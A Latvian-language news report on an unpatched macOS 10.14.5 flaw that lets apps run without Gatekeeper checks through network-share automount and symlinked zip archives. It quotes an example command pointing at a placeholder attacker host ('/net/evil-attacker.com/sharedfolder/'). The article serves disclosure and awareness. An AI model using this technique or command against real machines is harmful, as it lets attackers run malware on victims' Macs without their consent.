Ļaunprātīgu lietotni Mac datorā ir viegli instalēt. Apple kļūdu nav izlabojis pat pēc trim mēnešiem

Drošības pētnieks Filipo Kavalarins savā emuārā ievietoja brīdinājumu par kļūdu operētājsistēmā macOS 10.14.5. Tas ietver iespēju pilnībā apiet Gatekeeper drošības pasākumus. Pēc Kavallarina teiktā, viņš Apple uz kļūdu norādīja jau šī gada februārī, taču uzņēmums to nav izlabojis jaunākajā atjauninājumā.

Gatekeeper izstrādāja Apple un pirmo reizi iekļāva tās galddatoru operētājsistēmā 2012. gadā. Tas ir mehānisms, kas neļauj lietojumprogrammai darboties bez lietotāja ziņas un piekrišanas. Kad esat lejupielādējis lietotni, Gatekeeper automātiski pārbauda tās kodu, lai noskaidrotu, vai Apple ir pareizi parakstījis programmatūru.

Savā emuāra ierakstā Cavallarin atzīmē, ka Gatekeeper pēc noklusējuma uzskata gan ārējo krātuvi, gan tīkla koplietojumus par drošām vietām. Tāpēc jebkuru lietojumprogrammu, kas atrodas šajos mērķos, var automātiski palaist, neveicot Gatekeeper pārbaudi. Tieši šo funkciju var izmantot, lai palaistu ļaunprātīgu programmatūru bez lietotāja ziņas.

Viens no aspektiem, kas pieļauj nesankcionētu piekļuvi, ir automātiskās pievienošanas funkcija, kas ļauj lietotājiem automātiski pievienot tīkla koplietojumu, vienkārši norādot ceļu, kas sākas ar "/net/". Kā piemēru Cavallarin min ceļu "ls /net/evil-attacker.com/sharedfolder/", kas var likt operētājsistēmai ielādēt mapes "sharefolder" saturu attālā vietā, kas var būt potenciāli ļaunprātīga.

To, kā draudi darbojas, varat noskatīties video:

Vēl viens faktors ir fakts, ka, ja tiek koplietots zip arhīvs, kurā ir noteikta saite, kas ved uz automātiskās pievienošanas funkciju, Gatekeeper to nepārbaudīs. Tādā veidā upuris var viegli lejupielādēt ļaunprātīgo arhīvu un to izpakot, ļaujot uzbrucējam bez lietotāja ziņas palaist praktiski jebkuru programmatūru Mac datorā. Finder, kas pēc noklusējuma slēpj noteiktus paplašinājumus, arī ir daļa no šīs ievainojamības.

Kavalarins savā emuārā norāda, ka Apple uzmanību uz macOS operētājsistēmas ievainojamību vērsa šī gada 22.februārī. Taču maija vidū Apple pārtrauca sazināties ar Cavallarin, tāpēc Cavallarin nolēma visu publiskot.

Avots: FCVL